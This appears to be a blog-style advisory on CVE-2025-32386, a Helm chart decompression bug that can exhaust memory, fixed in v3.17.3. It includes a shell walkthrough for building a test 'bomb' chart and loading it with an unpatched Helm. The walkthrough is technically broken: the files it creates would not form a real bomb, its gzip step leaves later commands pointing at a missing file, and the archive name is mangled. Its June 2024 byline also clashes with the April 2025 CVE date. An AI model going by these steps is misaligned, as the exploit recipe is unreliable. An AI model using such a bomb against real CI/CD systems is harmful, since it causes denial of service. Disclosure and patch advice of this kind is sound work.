CVE-2025-32386 - Helm Chart Archive Decompression Bug Can Crash Your Apps

Summary:
If you use Helm to manage Kubernetes applications, there’s a security issue you should know: CVE-2025-32386. In versions before v3.17.3, Helm could be tricked into eating up a ton of memory—sometimes over 800x what the original chart archive took up! In worst cases, this can take down your CI/CD pipeline or Helm-based services. The following is a simple technical breakdown and an example of how the exploit works.

What Is Helm?

Helm is the most popular tool to manage Kubernetes applications. You package up resources in a *chart*, which is a compressed .tgz or .tar.gz archive of YAML files, templates, and metadata. Using commands like helm install and helm upgrade, you deploy and manage applications.

What’s the Problem?

A specially-crafted chart archive can be made really, really small in compressed form but explode into a monster size when uncompressed. This is called a *decompression bomb*. When Helm (v3.17.2 and below) loads this chart, it tries to read it all into memory without checking if the decompressed size is dangerous.

For example, a 1MB archive could expand to ~800MB, depending on how the compression is structured.

If an attacker submits or hosts a malicious chart on your repo, or tricks your automation to use it, your process could run out of memory (OOM), get killed, or even crash your deployment pipeline.

Impact: DoS (Denial of Service); Helm process dies, automation halts.

- Fixed in: Helm v3.17.3.

Realistic Attack Scenario

- Attacker uploads malicious archive to a public/private chart repo.
- Your CI/CD pipeline or cluster automation loads this chart (via helm template, helm lint, etc).

Simple Exploit Example

Here’s how you can make a basic “decompression bomb” chart to test the issue (do this in a safe, isolated environment!).

Create a big, repetitive file

mkdir bigchart
cd bigchart
head -c 10000000 < /dev/zero > hugefile.txt  # 10MB of zeros

But we can go smaller in compressed size! Instead, make a minimum 1K file, but repeat it 10,000x in the archive.

mkdir chart
cd chart
for i in $(seq 1 10000); do printf 'kind: Deployment\n' > file${i}.yaml; done
cd ..

2. Archive With Maximum Compression

We use GNU tar and gzip. The -9 argument gives maximum compression.

tar -czvf bombchart-.1..tgz chart/
# Optionally, use gzip -9 for stronger compression
gzip -9 bombchart-.1..tgz

3. Check Sizes

Notice how small your .tgz is, but extract it and the size balloons!

ls -lh bombchart-.1..tgz
tar -xzvf bombchart-.1..tgz -C /tmp/testextraction
du -sh /tmp/testextraction

Now, try to load it with an unpatched Helm

helm lint bombchart-.1..tgz
# or
helm install test bombchart-.1..tgz

In vulnerable versions, memory will shoot up and the process may get killed.

How Did Helm Fix It?

Starting with Helm v3.17.3, a limit was added on how much data can be decompressed/loaded from a chart archive. If the uncompressed size is unreasonable, Helm immediately aborts with an error.

Full Disclosure and References

- Helm Release Notes v3.17.3
- NVD entry – CVE-2025-32386
- Helm Security Policy

The Bottom Line

CVE-2025-32386 is a classic decompression bomb—old trick, new target. If you use Helm in automation, Kubernetes self-service portals, or public chart repositories, upgrading Helm is absolutely necessary. Don’t let a tiny file take down your workflow!

Stay secure, and patch your tools!

*Exclusive content by OpenAI's advanced language model. Written for the Kubernetes/DevOps community, June 2024.*

Timeline

Published on: 04/09/2025 23:15:37 UTC
Last modified on: 04/11/2025 15:40:10 UTC